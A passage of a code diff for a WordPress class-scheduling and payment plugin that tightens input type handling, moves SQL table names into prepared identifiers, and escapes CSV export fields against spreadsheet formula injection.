+	 * @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
+	 */
 	public function registerRoutes( string $route_namespace ): void {
 		register_rest_route(
 			$route_namespace,
@@ -69,7 +75,7 @@ class EnrollmentEndpoint {
 	}
 
 	public function enroll( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$offeringId = absint( $request->get_param( 'offering_id' ) );
+		$offeringId = absint( Val::int( $request->get_param( 'offering_id' ) ) );
 		$offering   = $this->offerings->findById( $offeringId );
 
 		if ( null === $offering || Offering::KIND_GROUP_CLASS !== $offering->kind ) {
@@ -87,7 +93,7 @@ class EnrollmentEndpoint {
 		}
 
 		$answers            = $this->answers( $request );
-		$acceptedVersionIds = array_map( 'absint', (array) $request->get_param( 'accepted_policy_version_ids' ) );
+		$acceptedVersionIds = array_values( array_map( static fn( mixed $v ): int => absint( Val::int( $v ) ), (array) $request->get_param( 'accepted_policy_version_ids' ) ) );
 
 		$gateError = $this->gate->validate( $offeringId, $answers, $acceptedVersionIds );
 		if ( $gateError instanceof \WP_Error ) {
@@ -133,7 +139,7 @@ class EnrollmentEndpoint {
 	private function answers( \WP_REST_Request $request ): array {
 		$out = [];
 		foreach ( (array) $request->get_param( 'answers' ) as $questionId => $value ) {
-			$out[ (int) $questionId ] = sanitize_text_field( (string) $value );
+			$out[ (int) $questionId ] = sanitize_text_field( Val::string( $value ) );
 		}
 
 		return $out;
@@ -141,7 +147,7 @@ class EnrollmentEndpoint {
 
 	private function clientIp(): ?string {
 		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- IP stored verbatim for audit.
-		$ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) );
+		$ip = sanitize_text_field( Val::string( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) ) );
 
 		return '' !== $ip ? $ip : null;
 	}

src/GroupClass/EnrollmentRepository.php

@@ -30,7 +30,7 @@ class EnrollmentRepository {
 
 	public function findById( int $id ): ?Enrollment {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
+			$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
 		);
 
 		return $row ? Enrollment::fromRow( $row ) : null;
@@ -42,7 +42,8 @@ class EnrollmentRepository {
 	public function countActiveForOffering( int $offeringId ): int {
 		return (int) $this->db->get_var(
 			$this->db->prepare(
-				"SELECT COUNT(*) FROM {$this->table} WHERE offering_id = %d AND status = %s",
+				'SELECT COUNT(*) FROM %i WHERE offering_id = %d AND status = %s',
+				$this->table,
 				$offeringId,
 				Enrollment::STATUS_ACTIVE
 			)
@@ -55,7 +56,8 @@ class EnrollmentRepository {
 	public function countActiveForStudent( int $studentId ): int {
 		return (int) $this->db->get_var(
 			$this->db->prepare(
-				"SELECT COUNT(*) FROM {$this->table} WHERE student_id = %d AND status = %s",
+				'SELECT COUNT(*) FROM %i WHERE student_id = %d AND status = %s',
+				$this->table,
 				$studentId,
 				Enrollment::STATUS_ACTIVE
 			)
@@ -68,7 +70,8 @@ class EnrollmentRepository {
 	public function hasActiveEnrollment( int $offeringId, int $studentId ): bool {
 		$count = (int) $this->db->get_var(
 			$this->db->prepare(
-				"SELECT COUNT(*) FROM {$this->table} WHERE offering_id = %d AND student_id = %d AND status = %s",
+				'SELECT COUNT(*) FROM %i WHERE offering_id = %d AND student_id = %d AND status = %s',
+				$this->table,
 				$offeringId,
 				$studentId,
 				Enrollment::STATUS_ACTIVE
@@ -86,7 +89,8 @@ class EnrollmentRepository {
 	public function findByStudent( int $studentId ): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE student_id = %d ORDER BY enrolled_at DESC",
+				'SELECT * FROM %i WHERE student_id = %d ORDER BY enrolled_at DESC',
+				$this->table,
 				$studentId
 			)
 		);
@@ -102,7 +106,8 @@ class EnrollmentRepository {
 	public function findByInstructor( int $instructorId ): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE instructor_id = %d ORDER BY enrolled_at DESC",
+				'SELECT * FROM %i WHERE instructor_id = %d ORDER BY enrolled_at DESC',
+				$this->table,
 				$instructorId
 			)
 		);
@@ -118,7 +123,8 @@ class EnrollmentRepository {
 	public function findAllActive(): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE status = %s ORDER BY enrolled_at DESC",
+				'SELECT * FROM %i WHERE status = %s ORDER BY enrolled_at DESC',
+				$this->table,
 				Enrollment::STATUS_ACTIVE
 			)
 		);

src/GroupClass/GroupClassPage.php

@@ -10,14 +10,16 @@ class GroupClassPage {
 	/**
 	 * Renders the group-class enrolment shortcode output.
 	 *
-	 * @param array<string, string> $atts Shortcode attributes (unused — reserved for future options).
+	 * @param array<string> $atts Shortcode attributes (unused — reserved for future options).
 	 */
 	public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
 		if ( ! is_user_logged_in() ) {
+			$permalink = get_permalink();
+
 			return sprintf(
 				'<p>%s <a href="%s">%s</a>.</p>',
 				esc_html__( 'Please', 'unsupervised-schedular' ),
-				esc_url( wp_login_url( get_permalink() ) ),
+				esc_url( wp_login_url( false === $permalink ? '' : $permalink ) ),
 				esc_html__( 'log in to enrol in a class', 'unsupervised-schedular' )
 			);
 		}

src/Installer.php

@@ -16,6 +16,9 @@ class Installer {
 
 	private function createTables(): void {
 		global $wpdb;
+		if ( ! $wpdb instanceof \wpdb ) {
+			return;
+		}
 		$charset = $wpdb->get_charset_collate();
 
 		require_once ABSPATH . 'wp-admin/includes/upgrade.php';

src/Offering/Offering.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Offering;
 
+use Unsupervised\Schedular\Val;
+
 class Offering {
 
 	public const KIND_PRIVATE_LESSON = 'private_lesson';
@@ -44,24 +46,24 @@ class Offering {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			instructorId:    (int) $row->instructor_id,
-			kind:            $row->kind,
-			title:           $row->title,
-			price:           (float) $row->price,
-			currency:        $row->currency,
-			billingMode:     $row->billing_mode,
-			description:     $row->description,
-			durationMinutes: null !== $row->duration_minutes ? (int) $row->duration_minutes : null,
-			allowWeekly:     (bool) $row->allow_weekly,
-			capacity:        null !== $row->capacity ? (int) $row->capacity : null,
-			termStart:       $row->term_start,
-			termEnd:         $row->term_end,
-			scheduleNote:    $row->schedule_note,
-			etransferEmail:  $row->etransfer_email,
-			isActive:        (bool) $row->is_active,
-			id:              (int) $row->id,
+			instructorId:    Val::int( $row->instructor_id ),
+			kind:            Val::string( $row->kind ),
+			title:           Val::string( $row->title ),
+			price:           Val::float( $row->price ),
+			currency:        Val::string( $row->currency ),
+			billingMode:     Val::string( $row->billing_mode ),
+			description:     Val::stringOrNull( $row->description ),
+			durationMinutes: Val::intOrNull( $row->duration_minutes ),
+			allowWeekly:     Val::bool( $row->allow_weekly ),
+			capacity:        Val::intOrNull( $row->capacity ),
+			termStart:       Val::stringOrNull( $row->term_start ),
+			termEnd:         Val::stringOrNull( $row->term_end ),
+			scheduleNote:    Val::stringOrNull( $row->schedule_note ),
+			etransferEmail:  Val::stringOrNull( $row->etransfer_email ),
+			isActive:        Val::bool( $row->is_active ),
+			id:              Val::int( $row->id ),
 		);
 	}
 

src/Offering/OfferingController.php

@@ -4,6 +4,7 @@ declare(strict_types=1);
 namespace Unsupervised\Schedular\Offering;
 
 use Unsupervised\Schedular\Auth\RoleManager;
+use Unsupervised\Schedular\Val;
 
 class OfferingController {
 
@@ -31,14 +32,14 @@ class OfferingController {
 	private function handleFormAction( int $instructorId, bool $manageAll ): void {
 		// Nonce is verified by the caller (renderPage) before this method runs.
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
+		$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
 
 		if ( 'add' === $action ) {
 			$this->addOffering( $instructorId );
 		}
 
 		if ( 'delete' === $action ) {
-			$offeringId = absint( $_POST['offering_id'] ?? 0 );
+			$offeringId = absint( Val::int( $_POST['offering_id'] ?? 0 ) );
 			if ( $offeringId > 0 ) {
 				$offering = $this->repository->findById( $offeringId );
 				if ( $offering && ( $manageAll || $offering->instructorId === $instructorId ) ) {
@@ -51,33 +52,33 @@ class OfferingController {
 
 	private function addOffering( int $instructorId ): void {
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$title = sanitize_text_field( wp_unslash( $_POST['title'] ?? '' ) );
-		$kind  = sanitize_key( wp_unslash( $_POST['kind'] ?? '' ) );
+		$title = sanitize_text_field( Val::string( wp_unslash( $_POST['title'] ?? '' ) ) );
+		$kind  = sanitize_key( Val::string( wp_unslash( $_POST['kind'] ?? '' ) ) );
 
 		if ( '' === $title || ! in_array( $kind, Offering::VALID_KINDS, true ) ) {
 			return;
 		}
 
-		$billingMode = sanitize_key( wp_unslash( $_POST['billing_mode'] ?? Offering::BILLING_ONE_TIME ) );
+		$billingMode = sanitize_key( Val::string( wp_unslash( $_POST['billing_mode'] ?? Offering::BILLING_ONE_TIME ) ) );
 		if ( ! in_array( $billingMode, Offering::VALID_BILLING_MODES, true ) ) {
 			$billingMode = Offering::BILLING_ONE_TIME;
 		}
 
-		$duration = absint( $_POST['duration_minutes'] ?? 0 );
-		$capacity = absint( $_POST['capacity'] ?? 0 );
+		$duration = absint( Val::int( $_POST['duration_minutes'] ?? 0 ) );
+		$capacity = absint( Val::int( $_POST['capacity'] ?? 0 ) );
 
 		$this->repository->insert(
 			new Offering(
 				instructorId:    $instructorId,
 				kind:            $kind,
 				title:           $title,
-				price:           max( 0.0, (float) sanitize_text_field( wp_unslash( $_POST['price'] ?? '0' ) ) ),
+				price:           max( 0.0, (float) sanitize_text_field( Val::string( wp_unslash( $_POST['price'] ?? '0' ) ) ) ),
 				billingMode:     $billingMode,
 				durationMinutes: $duration > 0 ? $duration : null,
 				allowWeekly:     isset( $_POST['allow_weekly'] ),
 				capacity:        $capacity > 0 ? $capacity : null,
-				scheduleNote:    $this->nullableText( sanitize_text_field( wp_unslash( $_POST['schedule_note'] ?? '' ) ) ),
-				etransferEmail:  $this->nullableText( sanitize_email( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) ),
+				scheduleNote:    $this->nullableText( sanitize_text_field( Val::string( wp_unslash( $_POST['schedule_note'] ?? '' ) ) ) ),
+				etransferEmail:  $this->nullableText( sanitize_email( Val::string( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) ) ),
 			)
 		);
 		// phpcs:enable WordPress.Security.NonceVerification.Missing

src/Offering/OfferingEndpoint.php

@@ -4,11 +4,17 @@ declare(strict_types=1);
 namespace Unsupervised\Schedular\Offering;
 
 use Unsupervised\Schedular\Auth\RoleManager;
+use Unsupervised\Schedular\Val;
 
 class OfferingEndpoint {
 
 	public function __construct( private OfferingRepository $repository ) {}
 
+	/**
+	 * Registers this endpoint's REST routes.
+	 *
+	 * @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
+	 */
 	public function registerRoutes( string $route_namespace ): void {
 		register_rest_route(
 			$route_namespace,
@@ -57,8 +63,8 @@ class OfferingEndpoint {
 
 	public function index( \WP_REST_Request $request ): \WP_REST_Response {
 		$offerings = $this->repository->findAll(
-			(int) $request->get_param( 'instructor_id' ),
-			(string) $request->get_param( 'kind' ),
+			Val::int( $request->get_param( 'instructor_id' ) ),
+			Val::string( $request->get_param( 'kind' ) ),
 			activeOnly: true,
 		);
 
@@ -67,17 +73,17 @@ class OfferingEndpoint {
 	}
 
 	public function create( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$title = sanitize_text_field( (string) $request->get_param( 'title' ) );
+		$title = sanitize_text_field( Val::string( $request->get_param( 'title' ) ) );
 		if ( '' === $title ) {
 			return $this->invalid( __( 'A title is required.', 'unsupervised-schedular' ) );
 		}
 
-		$kind = (string) $request->get_param( 'kind' );
+		$kind = Val::string( $request->get_param( 'kind' ) );
 		if ( ! in_array( $kind, Offering::VALID_KINDS, true ) ) {
 			return $this->invalid( __( 'Invalid offering kind.', 'unsupervised-schedular' ) );
 		}
 
-		$billingMode = (string) ( $request->get_param( 'billing_mode' ) ?? Offering::BILLING_ONE_TIME );
+		$billingMode = Val::string( $request->get_param( 'billing_mode' ) ?? Offering::BILLING_ONE_TIME );
 		if ( ! in_array( $billingMode, Offering::VALID_BILLING_MODES, true ) ) {
 			return $this->invalid( __( 'Invalid billing mode.', 'unsupervised-schedular' ) );
 		}
@@ -87,7 +93,7 @@ class OfferingEndpoint {
 			kind:            $kind,
 			title:           $title,
 			price:           $this->price( $request->get_param( 'price' ) ),
-			currency:        sanitize_text_field( (string) ( $request->get_param( 'currency' ) ?? 'CAD' ) ),
+			currency:        sanitize_text_field( Val::string( $request->get_param( 'currency' ) ?? 'CAD' ) ),
 			billingMode:     $billingMode,
 			description:     $this->nullableText( $request->get_param( 'description' ) ),
 			durationMinutes: $this->nullableInt( $request->get_param( 'duration_minutes' ) ),
@@ -106,7 +112,7 @@ class OfferingEndpoint {
 	}
 
 	public function update( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$id       = absint( $request->get_param( 'id' ) );
+		$id       = absint( Val::int( $request->get_param( 'id' ) ) );
 		$existing = $this->repository->findById( $id );
 
 		if ( null === $existing ) {
@@ -117,12 +123,12 @@ class OfferingEndpoint {
 			return new \WP_Error( 'forbidden', __( 'You cannot edit this offering.', 'unsupervised-schedular' ), [ 'status' => 403 ] );
 		}
 
-		$kind = $request->has_param( 'kind' ) ? (string) $request->get_param( 'kind' ) : $existing->kind;
+		$kind = $request->has_param( 'kind' ) ? Val::string( $request->get_param( 'kind' ) ) : $existing->kind;
 		if ( ! in_array( $kind, Offering::VALID_KINDS, true ) ) {
 			return $this->invalid( __( 'Invalid offering kind.', 'unsupervised-schedular' ) );
 		}
 
-		$billingMode = $request->has_param( 'billing_mode' ) ? (string) $request->get_param( 'billing_mode' ) : $existing->billingMode;
+		$billingMode = $request->has_param( 'billing_mode' ) ? Val::string( $request->get_param( 'billing_mode' ) ) : $existing->billingMode;
 		if ( ! in_array( $billingMode, Offering::VALID_BILLING_MODES, true ) ) {
 			return $this->invalid( __( 'Invalid billing mode.', 'unsupervised-schedular' ) );
 		}
@@ -130,9 +136,9 @@ class OfferingEndpoint {
 		$offering = new Offering(
 			instructorId:    $existing->instructorId,
 			kind:            $kind,
-			title:           $request->has_param( 'title' ) ? sanitize_text_field( (string) $request->get_param( 'title' ) ) : $existing->title,
+			title:           $request->has_param( 'title' ) ? sanitize_text_field( Val::string( $request->get_param( 'title' ) ) ) : $existing->title,
 			price:           $request->has_param( 'price' ) ? $this->price( $request->get_param( 'price' ) ) : $existing->price,
-			currency:        $request->has_param( 'currency' ) ? sanitize_text_field( (string) $request->get_param( 'currency' ) ) : $existing->currency,
+			currency:        $request->has_param( 'currency' ) ? sanitize_text_field( Val::string( $request->get_param( 'currency' ) ) ) : $existing->currency,
 			billingMode:     $billingMode,
 			description:     $request->has_param( 'description' ) ? $this->nullableText( $request->get_param( 'description' ) ) : $existing->description,
 			durationMinutes: $request->has_param( 'duration_minutes' ) ? $this->nullableInt( $request->get_param( 'duration_minutes' ) ) : $existing->durationMinutes,
@@ -152,7 +158,7 @@ class OfferingEndpoint {
 	}
 
 	public function delete( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$id       = absint( $request->get_param( 'id' ) );
+		$id       = absint( Val::int( $request->get_param( 'id' ) ) );
 		$existing = $this->repository->findById( $id );
 
 		if ( null === $existing ) {
@@ -195,17 +201,17 @@ class OfferingEndpoint {
 	}
 
 	private function price( mixed $value ): float {
-		return max( 0.0, (float) $value );
+		return max( 0.0, Val::float( $value ) );
 	}
 
 	private function nullableEmail( mixed $value ): ?string {
-		$email = sanitize_email( (string) $value );
+		$email = sanitize_email( Val::string( $value ) );
 
 		return '' !== $email ? $email : null;
 	}
 
 	private function nullableInt( mixed $value ): ?int {
-		return ( null === $value || '' === $value ) ? null : (int) $value;
+		return ( null === $value || '' === $value ) ? null : Val::int( $value );
 	}
 
 	private function nullableText( mixed $value ): ?string {
@@ -213,6 +219,6 @@ class OfferingEndpoint {
 			return null;
 		}
 
-		return sanitize_text_field( (string) $value );
+		return sanitize_text_field( Val::string( $value ) );
 	}
 }

src/Offering/OfferingRepository.php

@@ -90,18 +90,18 @@ class OfferingRepository {
 		}
 
 		$whereClause = implode( ' AND ', $where );
-		$sql         = "SELECT * FROM {$this->table} WHERE {$whereClause} ORDER BY title ASC";
+		$sql         = "SELECT * FROM %i WHERE {$whereClause} ORDER BY title ASC";
 
-		$rows = $params
-			? $this->db->get_results( $this->db->prepare( $sql, $params ) )
-			: $this->db->get_results( $sql );
+		$rows = $this->db->get_results(
+			$this->db->prepare( $sql, array_merge( [ $this->table ], $params ) )
+		);
 
 		return array_map( Offering::fromRow( ... ), $rows ?? [] );
 	}
 
 	public function findById( int $id ): ?Offering {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
+			$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
 		);
 
 		return $row ? Offering::fromRow( $row ) : null;

src/Payment/BillingMethodResolver.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Payment;
 
+use Unsupervised\Schedular\Val;
+
 /**
  * Resolves the billing method for a student: a per-student override if set,
  * otherwise the studio default — card when Stripe is configured, e-transfer when
@@ -15,7 +17,7 @@ class BillingMethodResolver {
 	public function __construct( private StudioSettings $settings ) {}
 
 	public function resolve( int $studentId ): string {
-		$override = (string) get_user_meta( $studentId, self::META_METHOD, true );
+		$override = Val::string( get_user_meta( $studentId, self::META_METHOD, true ) );
 		if ( in_array( $override, Payment::VALID_METHODS, true ) ) {
 			return $override;
 		}

src/Payment/Payment.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Payment;
 
+use Unsupervised\Schedular\Val;
+
 class Payment {
 
 	public const METHOD_CARD      = 'card';
@@ -50,24 +52,24 @@ class Payment {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			studentId:             (int) $row->student_id,
-			instructorId:          (int) $row->instructor_id,
-			registrationType:      $row->registration_type,
-			registrationId:        (int) $row->registration_id,
-			amount:                (float) $row->amount,
-			currency:              $row->currency,
-			method:                $row->method,
-			status:                $row->status,
-			taxRate:               (float) $row->tax_rate,
-			taxAmount:             (float) $row->tax_amount,
-			etransferEmail:        $row->etransfer_email,
-			stripePaymentIntentId: $row->stripe_payment_intent_id,
-			receiptNumber:         $row->receipt_number,
-			receiptSentAt:         $row->receipt_sent_at,
-			paidAt:                $row->paid_at,
-			id:                    (int) $row->id,
+			studentId:             Val::int( $row->student_id ),
+			instructorId:          Val::int( $row->instructor_id ),
+			registrationType:      Val::string( $row->registration_type ),
+			registrationId:        Val::int( $row->registration_id ),
+			amount:                Val::float( $row->amount ),
+			currency:              Val::string( $row->currency ),
+			method:                Val::string( $row->method ),
+			status:                Val::string( $row->status ),
+			taxRate:               Val::float( $row->tax_rate ),
+			taxAmount:             Val::float( $row->tax_amount ),
+			etransferEmail:        Val::stringOrNull( $row->etransfer_email ),
+			stripePaymentIntentId: Val::stringOrNull( $row->stripe_payment_intent_id ),
+			receiptNumber:         Val::stringOrNull( $row->receipt_number ),
+			receiptSentAt:         Val::stringOrNull( $row->receipt_sent_at ),
+			paidAt:                Val::stringOrNull( $row->paid_at ),
+			id:                    Val::int( $row->id ),
 		);
 	}
 

src/Payment/PaymentController.php

@@ -4,6 +4,7 @@ declare(strict_types=1);
 namespace Unsupervised\Schedular\Payment;
 
 use Unsupervised\Schedular\Auth\RoleManager;
+use Unsupervised\Schedular\Val;
 
 class PaymentController {
 
@@ -19,10 +20,10 @@ class PaymentController {
 
 		if ( isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_payment_action' ) ) {
 			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce checked above.
-			if ( 'mark_paid' === sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) ) ) {
+			if ( 'mark_paid' === sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ) ) ) ) {
 				// phpcs:disable WordPress.Security.NonceVerification.Missing
-				$paymentId = absint( $_POST['payment_id'] ?? 0 );
-				$email     = sanitize_email( wp_unslash( $_POST['etransfer_email'] ?? '' ) );
+				$paymentId = absint( Val::int( $_POST['payment_id'] ?? 0 ) );
+				$email     = sanitize_email( Val::string( wp_unslash( $_POST['etransfer_email'] ?? '' ) ) );
 				// phpcs:enable WordPress.Security.NonceVerification.Missing
 				if ( $paymentId > 0 ) {
 					// Record the destination it was actually sent to before confirming.

src/Payment/PaymentEndpoint.php

@@ -4,11 +4,17 @@ declare(strict_types=1);
 namespace Unsupervised\Schedular\Payment;
 
 use Unsupervised\Schedular\Auth\RoleManager;
+use Unsupervised\Schedular\Val;
 
 class PaymentEndpoint {
 
 	public function __construct( private PaymentService $service ) {}
 
+	/**
+	 * Registers this endpoint's REST routes.
+	 *
+	 * @param non-falsy-string $route_namespace REST namespace the routes are registered under (e.g. `us-scheduler/v1`).
+	 */
 	public function registerRoutes( string $route_namespace ): void {
 		register_rest_route(
 			$route_namespace,
@@ -64,8 +70,8 @@ class PaymentEndpoint {
 	 * (Stripe client secret for card; display data for e-transfer/comp).
 	 */
 	public function createIntent( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$type           = (string) $request->get_param( 'registration_type' );
-		$registrationId = absint( $request->get_param( 'registration_id' ) );
+		$type           = Val::string( $request->get_param( 'registration_type' ) );
+		$registrationId = absint( Val::int( $request->get_param( 'registration_id' ) ) );
 
 		$result = $this->service->createIntent( $type, $registrationId, get_current_user_id() );
 		if ( null === $result ) {
@@ -99,7 +105,7 @@ class PaymentEndpoint {
 	 * Studio admin marks a pending payment (e-transfer) received.
 	 */
 	public function markPaid( \WP_REST_Request $request ): \WP_REST_Response|\WP_Error {
-		$id = absint( $request->get_param( 'id' ) );
+		$id = absint( Val::int( $request->get_param( 'id' ) ) );
 
 		if ( ! $this->service->markPaid( $id ) ) {
 			return new \WP_Error( 'not_found', __( 'Payment not found.', 'unsupervised-schedular' ), [ 'status' => 404 ] );

src/Payment/PaymentReport.php

@@ -90,13 +90,22 @@ class PaymentReport {
 	}
 
 	/**
-	 * Format one CSV record, quoting fields and escaping embedded quotes.
+	 * Format one CSV record, quoting fields and escaping embedded quotes. Fields
+	 * that a spreadsheet would interpret as a formula (leading =, +, -, @, tab, or
+	 * CR — e.g. a hostile student display name) are prefixed with an apostrophe so
+	 * they open as text, never as executable formulas.
 	 *
 	 * @param list<string> $fields
 	 */
 	private function csvLine( array $fields ): string {
 		$escaped = array_map(
-			static fn( string $field ): string => '"' . str_replace( '"', '""', $field ) . '"',
+			static function ( string $field ): string {
+				if ( 1 === preg_match( '/^[=+\-@\t\r]/', $field ) ) {
+					$field = "'" . $field;
+				}
+
+				return '"' . str_replace( '"', '""', $field ) . '"';
+			},
 			$fields
 		);
 

src/Payment/PaymentReportController.php

@@ -4,6 +4,7 @@ declare(strict_types=1);
 namespace Unsupervised\Schedular\Payment;
 
 use Unsupervised\Schedular\Auth\RoleManager;
+use Unsupervised\Schedular\Val;
 
 class PaymentReportController {
 
@@ -21,8 +22,8 @@ class PaymentReportController {
 		}
 
 		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- read-only report filters, no state change.
-		$month        = $this->sanitizeMonth( isset( $_GET['month'] ) ? sanitize_text_field( wp_unslash( $_GET['month'] ) ) : '' );
-		$instructorId = isset( $_GET['instructor_id'] ) ? absint( $_GET['instructor_id'] ) : 0;
+		$month        = $this->sanitizeMonth( isset( $_GET['month'] ) ? sanitize_text_field( Val::string( wp_unslash( $_GET['month'] ) ) ) : '' );
+		$instructorId = isset( $_GET['instructor_id'] ) ? absint( Val::int( $_GET['instructor_id'] ) ) : 0;
 		// phpcs:enable WordPress.Security.NonceVerification.Recommended
 
 		$instructorId = $this->scopeInstructor( $instructorId );
@@ -58,8 +59,8 @@ class PaymentReportController {
 		check_admin_referer( self::EXPORT_ACTION );
 
 		// phpcs:disable WordPress.Security.NonceVerification.Recommended -- nonce checked above.
-		$month        = $this->sanitizeMonth( isset( $_GET['month'] ) ? sanitize_text_field( wp_unslash( $_GET['month'] ) ) : '' );
-		$instructorId = isset( $_GET['instructor_id'] ) ? absint( $_GET['instructor_id'] ) : 0;
+		$month        = $this->sanitizeMonth( isset( $_GET['month'] ) ? sanitize_text_field( Val::string( wp_unslash( $_GET['month'] ) ) ) : '' );
+		$instructorId = isset( $_GET['instructor_id'] ) ? absint( Val::int( $_GET['instructor_id'] ) ) : 0;
 		// phpcs:enable WordPress.Security.NonceVerification.Recommended
 
 		$instructorId = $this->scopeInstructor( $instructorId );
@@ -92,7 +93,8 @@ class PaymentReportController {
 	 */
 	private function buildReport( string $month, int $instructorId ): PaymentReport {
 		$start = $month . '-01 00:00:00';
-		$end   = gmdate( 'Y-m-d H:i:s', strtotime( $month . '-01 00:00:00 +1 month' ) );
+		$endTs = strtotime( $month . '-01 00:00:00 +1 month' );
+		$end   = false === $endTs ? $start : gmdate( 'Y-m-d H:i:s', $endTs );
 
 		$rows = array_map(
 			static function ( Payment $payment ): array {

src/Payment/PaymentRepository.php

@@ -55,7 +55,8 @@ class PaymentRepository {
 	public function findByStripeIntentId( string $intentId ): ?Payment {
 		$row = $this->db->get_row(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE stripe_payment_intent_id = %s ORDER BY id DESC LIMIT 1",
+				'SELECT * FROM %i WHERE stripe_payment_intent_id = %s ORDER BY id DESC LIMIT 1',
+				$this->table,
 				$intentId
 			)
 		);
@@ -77,14 +78,15 @@ class PaymentRepository {
 	 * Set a payment's tax rate and recompute the tax amount from its subtotal.
 	 */
 	public function updateTax( int $id, float $rate ): bool {
-		return false !== $this->db->query(
-			$this->db->prepare(
-				"UPDATE {$this->table} SET tax_rate = %f, tax_amount = ROUND( amount * %f / 100, 2 ) WHERE id = %d",
+		$sql = $this->db->prepare(
+			'UPDATE %i SET tax_rate = %f, tax_amount = ROUND( amount * %f / 100, 2 ) WHERE id = %d',
+			$this->table,
 			$rate,
 			$rate,
 			$id
-			)
 		);
+
+		return null !== $sql && false !== $this->db->query( $sql );
 	}
 
 	/**
@@ -94,8 +96,8 @@ class PaymentRepository {
 	 * @return list<Payment>
 	 */
 	public function findPaidBetween( string $from, string $to, int $instructorId = 0 ): array {
-		$sql    = "SELECT * FROM {$this->table} WHERE status = %s AND paid_at >= %s AND paid_at < %s";
-		$params = [ Payment::STATUS_PAID, $from, $to ];
+		$sql    = 'SELECT * FROM %i WHERE status = %s AND paid_at >= %s AND paid_at < %s';
+		$params = [ $this->table, Payment::STATUS_PAID, $from, $to ];
 
 		if ( $instructorId > 0 ) {
 			$sql     .= ' AND instructor_id = %d';
@@ -111,7 +113,7 @@ class PaymentRepository {
 
 	public function findById( int $id ): ?Payment {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
+			$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
 		);
 
 		return $row ? Payment::fromRow( $row ) : null;
@@ -120,7 +122,8 @@ class PaymentRepository {
 	public function findByRegistration( string $registrationType, int $registrationId ): ?Payment {
 		$row = $this->db->get_row(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE registration_type = %s AND registration_id = %d ORDER BY id DESC LIMIT 1",
+				'SELECT * FROM %i WHERE registration_type = %s AND registration_id = %d ORDER BY id DESC LIMIT 1',
+				$this->table,
 				$registrationType,
 				$registrationId
 			)
@@ -137,7 +140,8 @@ class PaymentRepository {
 	public function findPending(): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE status = %s ORDER BY created_at DESC",
+				'SELECT * FROM %i WHERE status = %s ORDER BY created_at DESC',
+				$this->table,
 				Payment::STATUS_PENDING
 			)
 		);

src/Payment/StripeGateway.php

@@ -67,8 +67,8 @@ class StripeGateway {
 	 * Seam around the Stripe PaymentIntents create call so tests can stub the
 	 * network request.
 	 *
-	 * @param array<string, mixed> $params
-	 * @param array<string, mixed> $options
+	 * @param array{amount: int, currency: string, metadata: array<string, string>, description: string} $params
+	 * @param array{idempotency_key?: string} $options
 	 */
 	protected function paymentIntentsCreate( array $params, array $options ): PaymentIntent {
 		return $this->client()->paymentIntents->create( $params, $options );

src/Payment/StudioSettings.php

@@ -4,6 +4,7 @@ declare(strict_types=1);
 namespace Unsupervised\Schedular\Payment;
 
 use Unsupervised\Schedular\Auth\RoleManager;
+use Unsupervised\Schedular\Val;
 
 class StudioSettings {
 
@@ -16,11 +17,11 @@ class StudioSettings {
 	public const OPT_HST_RATE        = 'us_hst_rate';
 
 	public function publishableKey(): string {
-		return (string) get_option( self::OPT_PUBLISHABLE, '' );
+		return Val::string( get_option( self::OPT_PUBLISHABLE, '' ) );
 	}
 
 	public function secretKey(): string {
-		return (string) get_option( self::OPT_SECRET, '' );
+		return Val::string( get_option( self::OPT_SECRET, '' ) );
 	}
 
 	/**
@@ -28,7 +29,7 @@ class StudioSettings {
